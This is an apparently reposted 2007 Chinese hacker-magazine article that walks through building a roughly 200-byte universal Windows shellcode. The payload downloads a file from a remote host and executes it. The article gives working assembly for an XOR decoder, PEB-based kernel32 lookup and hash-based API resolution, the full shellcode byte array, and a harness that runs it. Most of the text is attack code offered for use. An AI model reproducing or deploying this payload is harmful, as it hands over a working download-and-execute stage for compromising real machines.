打造200字节的最短通用ShellCode

 

本篇文章源自《黑客防线》2007年4月刊

作者:王炜/ww0830
ShellCode,在保持对各个版本通用性的基础上,当然是越短越好,这不仅仅是黑客艺术对简单美的追求,更重要的是有时候能利用的空间只有这么少。这不,这次我就遇到了长度限制只有210字节的情况。网上看了一下,属于比较短的ShellCode有“382 bytes bind port shellcode for win2k all ver”和“359 bytes connect back shellcode for win2k all ver”等,不过这些比较短的也都超过了350字节。看来直接对其修改无论如何都不能达标了,只好自己想办法来打造最短的ShellCode了。

功能分析
要使得ShellCode的长度小,调用的函数必须少,但也要保持功能的实用性,所以我们只考虑下载文件并执行文件的功能。要实现该功能,只需要调用URLDownLoadToFile和WinExec两个函数即可,示例程序如下。

#include <stdio.h>
#include <windows.h>
#include <urlmon.h>

#pragma comment(lib, "urlmon")
int main()
{
LoadLibrary("urlmon");
URLDownloadToFile(NULL, "http://192.168.0.250/a.a", "c:\\a.a", NULL, NULL);
WinExec("c:\\a.a", 0);
return 0;
}

这个程序能够完成从192.168.0.250机器上下载“a.a”,另存为“C:\a.a”并执行的功能,效果如图1所示。

图1 执行效果
这段代码非常简单,可以保证简短的长度,而且额外的功能可以在下载的文件里进行完美地扩充,所以我们选择这样功能的ShellCode并尽量压缩其代码长度。

长度分析
实用的ShellCode的基本要求有:不能有特殊的字符(比如0x00或会被应用替换的特殊字符)和能实现版本的通用性(即不同的Windows系统和SP条件都能执行),在满足了这两个要求后,再加上需完成的目标功能。
我们可以大概估计一下满足这些基本要求后,代码所需的最小长度。当我们实际编写出来的代码长度达到或接近这个值后,就可以认为是基本最优的,从而可以停止改进了。
对于要求1不能有特殊的字符,就需要对原文ShellCode进行编码,并在最开头加上一段解码代码,对于采取异或编码方式的情况,解码代码的长度至少需要21字节(后面可具体看到)。
对于要求2实现各版本的通用性,就需要动态获得目标机上的函数地址,再调用该地址,就可以保证在不同的系统都能正确地执行ShellCode了。动态获得目标机上的函数地址分为两步:获得Kernel.dll的地址和目标函数的地址。第一部分若采用PEB信息获得Kernel.dll地址,其代码长度为22字节,第二部分若采用Hash比较获得函数地址,其代码长度为75,而供比较使用的Hash值,需要37字节,全部加起来共134字节。
满足了这两个要求后,用去了155个字节,此时还没有加上所需完成的功能。不过还好,这一部分只是构造所需的字符串,构造函数各参数,然后调用函数地址完成执行。我们希望尽量缩短该部分长度,使得总长度在200字节左右。

解码段实现
解码段是很标准的实现,在VC中内嵌汇编实现如下,代码我已经加了详细的注释,相信大家一看就会明白的。
__asm
{
jmp   DYNAMICGETADD
DECODEBEGIN:
pop     ebx   //动态获得编码后代码的地址给ebx
dec     ebx
xor     ecx,ecx
mov   cl,0F1h         //cl为需要解码的长度

DECODE:
xor     byte ptr [ebx+ecx],88h //作异或0x88解码
loop   DECODE
jmp   ENCODEDSEG   //解码完毕,开始执行

DYNAMICGETADD:
call   DECODEBEGIN
//call回去,后面代码的地址动态入栈

ENCODEDSEG:
...
}

在一般情况下,该解码算法需要23个字节,这里只需要21个字节的原因是由于ShellCode短小,长度在0xFF即255内,原本需要赋给ecx的值,这里只需要赋给cl,从而可以节省两字节。在此时,真是一字节值千金啊。

函数地址的动态获得
1)动态获得kernel32.dll地址
函数地址的动态获得首先需要获得kernel32.dll的地址,获得kernel32.dll地址的方法很多,但比较优雅地是利用PEB结构来获得kerner32.dll的地址。简单来说就是,fs寄存器指向TEB结构;在TEB+0x30地方指向PEB结构;在PEB+0x0C地方指向PEB_LDR_DATA结构。
在PEB_LDR_DATA+0x1C地方就是一些动态连接库的地址了,如第一个指向ntdll.dll,第二个就是kernel32.dll的地址。更直接一点,汇编代码的实现为:

mov eax, fs:0x30                 ;PEB的地址 7FFD6000
                         mov eax, [eax + 0x0c]         ;Ldr的地址 00251EA0
                         mov esi, [eax + 0x1c]         ;Flink地址 00251F58
                         lodsd                                 ;00252020
                         mov ebp, [eax + 0x08]         ;ebp就是kernel32.dll的地址7C800000

         下面测试一下。在VC中用__asm关键字嵌入汇编并调试,得到本机上的kernel32.dll的地址为0x77E40000,和系统上的值的确一样,如图2所示。

图2

2)动态获得函数地址
获得了Kernel32.dll的地址后,可以通过查找它的引出函数表,找到我们需要的URLDownloadToFile和WinExec等函数的地址。这里使用比较函数名的HASH值的方法。HASH函数为的子程序如下。

FINDFUNADDRSUB:         //通过函数名HASH值获得函数地址的子程序
push     ecx
push     esi
mov     esi,dword ptr [ebp+3Ch]         //esi = PE header offset
mov     esi,dword ptr [esi+ebp+78h]         //exports directory offset
add     esi,ebp                                         //exports directory table
push     esi
mov     esi,dword ptr [esi+20h]        
add     esi,ebp                                 //esi = name pointers table
xor     ecx,ecx
dec     ecx

NEXTFUNNAME:
inc     ecx
lods     dword ptr [esi]         //循环比较各个函数名
add     eax,ebp
xor     ebx,ebx
NEXTCH:
movsx   edx,byte ptr [eax]
cmp     dl,dh       //为函数名的结束字符0x00
je             COMPAREHASHVALUE;   //就跳出比较HASH值时相等
ror       ebx,0Dh         //计算hash值
add     ebx,edx         //Hash 函数ror ebx, 0dh, add ebx,edx
inc       eax
jmp       NEXTCH;

COMPAREHASHVALUE:
cmp     ebx,dword ptr [edi]     //比较HASH是否相等
jne       NEXTFUNNAME;         //不等计算比较下一个函数        
pop     esi                   //HASH相等,找到需要的函数名
mov     ebx,dword ptr [esi+1Ch]
add       ebx,ebp                                   //ebx = address pointers table
mov     eax,dword ptr [ebx+ecx*4]   //这里直接将ecx作为索引了
add       eax,ebp                 //eax指向函数的地址了
stosd     //将找到的函数地址保持到edi指向的位置中
pop     esi
pop     ecx
ret         //返回

这里比一般的查找程序又省了一点。通常程序找到函数名后,会通过下标在索引表中找其索引值。但我们发现,在一般情况下,下标和索引值是相同的,所以可以直接使用下标作为索引值,避免了索引值的查找过程,从而又节省了一点代码长度。

3)3 HASH值的表示
HASH值或一些字符,可以通过_emit关键字来定义完成。_emit和MASM的DB指令类似,是告诉编译器直接在本区域内定义出一个字节型的字符放在该位置。虽然它每次只能定义出一个字节,但还是可以连续使用它来定义出一个字符串,比如_emit 0x4A __asm、_emit 0x43 __asm、_emit 0x4B等。使用_emit,我们可以出定义相关的HASH值如下。

HASHCODE:
call         BEGIN;
_emit 0x8E;   //LoadLibraryA的HASH值
_emit 0x4E;
_emit 0x0E;
_emit 0xEC;

_emit 0x98;   //WinExec的HASH值
_emit 0xFE;
_emit 0x8A;
_emit 0x0E;

_emit 0x36;         //URLDownLoadToFileA的HASH值
_emit 0x1A;
_emit 0x2F;
_emit 0x70;
                
_emit 'h';                 //下载地址字符串
_emit 't';
_emit 't';
_emit 'p';
_emit ':';
_emit '/';
_emit '/';
_emit '1';
_emit '9';
_emit '2';
_emit '.';
_emit '1';
_emit '6';
_emit '8';
_emit '.';
_emit '0';
_emit '.';
_emit '2';
_emit '5';
_emit '0';
_emit '/';
_emit 'a';
_emit '.';
_emit 'a';                
_emit '\0';

使用_emit可以直接将字符写出来,我们不用考虑高字节在高地址的问题,使用起来比较方便。

功能实现
最后剩下的就是功能完成的主流程了,也就是完成查找函数地址和调用的功能。实现代码如下。

push     2
pop     ecx

FINDADDR:
call     FINDFUNADDRSUB
//查找LoadLibrary和WinExec函数地址
loop     FINDADDR
                
push     6E6Fh
push     6D6C7275h     //urlmon
push     esp
call     dword ptr [esi]   //执行LoadLibrary(urlmon)
mov     ebp,eax
call       FINDFUNADDRSUB
//查找 URLDownLoadToFileA函数地址

push                 612Eh
push                 615C3A63h   //构造本地文件名c:\\a.a
push                 esp

pop                 ebx
xor       eax,eax
push       eax                 //NULL
push       eax                 //NULL
push       ebx                 // ebx: c::\a.a
push       edi                 // edi:http://192.168.0.250/a.a
push       eax                 //NULL
call       dword ptr [esi+8h]
//执行URLDownLoadToFile(),完成下载

push       eax
push       ebx                 // c::\a.a
call       dword ptr [esi+4]
//执行WinExeC,完成文件的调用

测试
有了上面的工作,接下来提取ShellCode剩下的就只是体力活了。我们对刚才的全汇编程序按F10进入调试,接着按下“Debug”工具栏的“Disassembly”按钮,然后点右键,在弹出菜单中选中“Code Bytes”,就出现了汇编对应的机器码。因为汇编完全可以完成我们的功能,所以只要把汇编对应的机器码原封不动地抄下来,就得到我们想要的ShellCode了。最终提取出来的ShellCode如下,其中我加入了测试框架实验。

unsigned char shellcode[] =
"\xe9\x88\x00\x00\x00\x5f\x64\xa1\x30\x00\x00\x00\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x68"
"\x08\x8b\xf7\x6a\x02\x59\xe8\x31\x00\x00\x00\xe2\xf9\x68\x6f\x6e\x00\x00\x68\x75\x72"
"\x6c\x6d\x54\xff\x16\x8b\xe8\xe8\x1b\x00\x00\x00\x68\x2e\x61\x00\x00\x68\x63\x3a\x5c"
"\x61\x54\x5b\x33\xc0\x50\x50\x53\x57\x50\xff\x56\x08\x50\x53\xff\x56\x04\x51\x56\x8b"
"\x75\x3c\x8b\x74\x2e\x78\x03\xf5\x56\x8b\x76\x20\x03\xf5\x33\xc9\x49\x41\xad\x03\xc5"
"\x33\xdb\x0f\xbe\x10\x3a\xd6\x74\x08\xc1\xcb\x0d\x03\xda\x40\xeb\xf1\x3b\x1f\x75\xe7"
"\x5e\x8b\x5e\x1c\x03\xdd\x8b\x04\x8b\x03\xc5\xab\x5e\x59\xc3\xe8\x73\xff\xff\xff\x8e"
"\x4e\x0e\xec\x98\xfe\x8a\x0e\x36\x1a\x2f\x70\x68\x74\x74\x70\x3a\x2f\x2f\x31\x39\x32"
"\x2e\x31\x36\x38\x2e\x30\x2e\x32\x35\x30\x2f\x61\x2e\x61\x00";

int main()
{
( (void(*)(void)) &shellcode )()
return 0;
}

其中,“( (void(*)(void)) &shellcode )()”用于把ShellCode转换成一个参数为空,返回为空的函数指针,并调用它。执行那句代码就相当于执行ShellCode数组里的那些数据。如果ShellCode正确,就会完成我们想要的功能。实现效果如图3所示,成功下载了我们的测试程序并执行了!

图3

小结
到这里,我们就成功地生成了总长度为204字节的ShellCode,满足了我们的要求。测试文件的下载地址http://192.168.0.252/a.a,保存的本地文件为c:/a.a,这还可以作进一步的改进。比如本地文件名为“c:/a”或者是省略路径直接为“a”;或者申请一个短一点的域名,都可以轻易地缩短ShellCode的长度在200字节以内。200字节以内的ShellCode可以说是一个质变,在很多特殊情况下非常有用。剩下的这点改动就留给大家去完成吧,编写ShellCode的乐趣也正在这里!

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值